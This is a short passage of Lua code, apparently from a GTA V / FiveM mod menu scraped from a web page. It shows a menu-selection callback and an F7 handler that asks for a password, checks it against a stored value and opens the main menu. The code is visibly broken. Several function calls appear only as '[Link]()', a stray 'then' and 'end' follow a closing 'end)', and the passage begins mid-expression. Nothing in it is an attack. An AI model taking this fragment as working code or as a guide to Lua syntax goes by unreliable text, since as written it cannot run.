selectedBullet, function(currentIndex, selectedIndex)
currentBullet = currentIndex
selectedBullet = selectedIndex
end)
then
end

[Link]()
elseif IsDisabledControlPressed(0, 168) then --F7
if logged then
[Link]("MainMenu")
else
local temp = KeyboardInput("Enter Pass", "", 100)
if temp == pass then
drawNotification("~g~Login Succesful!")
logged = true
[Link]("MainMenu")
else
drawNotification("~r~Login Failed!")
end
end
end

[Link](0)
end
end)

You might also like